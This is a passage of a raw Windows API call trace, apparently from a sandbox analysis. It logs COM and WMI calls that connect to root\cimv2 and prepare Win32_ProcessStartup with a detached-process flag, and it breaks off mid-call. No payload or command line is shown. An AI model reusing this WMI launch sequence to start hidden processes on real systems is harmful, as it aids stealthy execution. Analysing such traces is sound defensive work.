0x0 [0065.588] WbemLocator:IUnknown:Release (This=0x11f9e10) returned 0x0 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f9e30) returned 0x0 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0065.588] WbemLocator:IUnknown:AddRef (This=0x11f9e30) returned 0x3 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0065.588] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0065.588] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0065.588] WbemLocator:IUnknown:Release (This=0x11f9e30) returned 0x2 [0065.588] WbemLocator:IUnknown:Release (This=0x11f9e30) returned 0x1 [0065.588] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0065.589] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0065.589] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e30, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f9e30) returned 0x0 [0065.589] WbemLocator:IUnknown:AddRef (This=0x11f9e30) returned 0x3 [0065.589] WbemLocator:IUnknown:Release (This=0x11f9e30) returned 0x2 [0065.602] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.602] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.602] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.602] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f9e50) returned 0x0 [0065.602] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f9e50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf54230) returned 0x0 [0065.767] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54230, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef0a30) returned 0x0 [0065.767] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef0a30, pProxy=0x1bf54230, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0065.767] WbemLocator:IUnknown:Release (This=0x1bef0a30) returned 0x1 [0065.767] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54230, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef0a70) returned 0x0 [0065.767] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54230, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef0a30) returned 0x0 [0065.768] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef0a30, pProxy=0x1bf54230, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.768] WbemLocator:IUnknown:Release (This=0x1bef0a30) returned 0x2 [0065.768] WbemLocator:IUnknown:Release (This=0x1bef0a70) returned 0x1 [0065.768] CoTaskMemFree (pv=0x1bf3d340) [0065.768] WbemLocator:IUnknown:AddRef (This=0x1bf54230) returned 0x2 [0065.768] WbemLocator:IUnknown:Release (This=0x11f9e50) returned 0x0 [0065.769] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0065.769] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0065.769] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54230, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef0a40) returned 0x0 [0065.769] WbemLocator:IRpcOptions:Query (in: This=0x1bef0a40, pPrx=0x117f440, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0065.769] WbemLocator:IUnknown:Release (This=0x1bef0a40) returned 0x2 [0065.769] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0065.769] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0065.769] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54230, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf54230) returned 0x0 [0065.769] WbemLocator:IUnknown:Release (This=0x1bf54230) returned 0x2 [0065.769] SysStringLen (param_1=0x0) returned 0x0 [0065.769] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0065.770] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0065.770] IWbemServices:GetObject (in: This=0x1bf54230, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf45e40, ppCallResult=0x0) returned 0x0 [0065.772] IWbemClassObject:Get (in: This=0x1bf45e40, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0065.772] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0065.772] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0065.772] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0065.772] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0065.772] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0065.772] IUnknown:Release (This=0x111f638) returned 0x1 [0065.775] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f9e50) returned 0x0 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9e50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0065.776] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9e50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3ba00) returned 0x0 [0065.776] WbemDefPath:IUnknown:Release (This=0x11f9e50) returned 0x0 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3ba00) returned 0x0 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0065.776] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0065.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f99b0) returned 0x0 [0065.776] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f99b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.777] WbemDefPath:IUnknown:Release (This=0x11f99b0) returned 0x3 [0065.777] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0065.777] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0065.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0065.777] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0065.777] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0065.777] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.777] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0065.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3ba00) returned 0x0 [0065.777] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0065.777] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0065.777] WbemDefPath:IWbemPath:SetText (This=0x1bf3ba00, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0065.777] IWbemClassObject:Get (in: This=0x1bf45e40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2902200*=0, plFlavor=0x2902204*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2902200*=19, plFlavor=0x2902204*=0) returned 0x0 [0065.777] IWbemClassObject:Get (in: This=0x1bf45e40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2902200*=19, plFlavor=0x2902204*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2902200*=19, plFlavor=0x2902204*=0) returned 0x0 [0065.778] IWbemClassObject:Put (This=0x1bf45e40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0065.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bac0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0065.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.778] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.778] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.778] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0065.778] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0065.778] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0065.778] IUnknown:Release (This=0x111f638) returned 0x1 [0065.780] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f96b0) returned 0x0 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f96b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0065.781] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f96b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3b880) returned 0x0 [0065.781] WbemDefPath:IUnknown:Release (This=0x11f96b0) returned 0x0 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3b880) returned 0x0 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0065.781] WbemDefPath:IUnknown:AddRef (This=0x1bf3b880) returned 0x3 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0065.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f9770) returned 0x0 [0065.781] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.781] WbemDefPath:IUnknown:Release (This=0x11f9770) returned 0x3 [0065.781] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0065.782] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0065.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0065.782] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x2 [0065.782] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x1 [0065.782] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0065.782] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0065.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3b880) returned 0x0 [0065.782] WbemDefPath:IUnknown:AddRef (This=0x1bf3b880) returned 0x3 [0065.782] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x2 [0065.782] WbemDefPath:IWbemPath:SetText (This=0x1bf3b880, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.782] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0065.782] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0065.782] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.782] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0065.782] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0065.782] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0065.782] IUnknown:Release (This=0x111f638) returned 0x1 [0065.783] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f9630) returned 0x0 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9630, 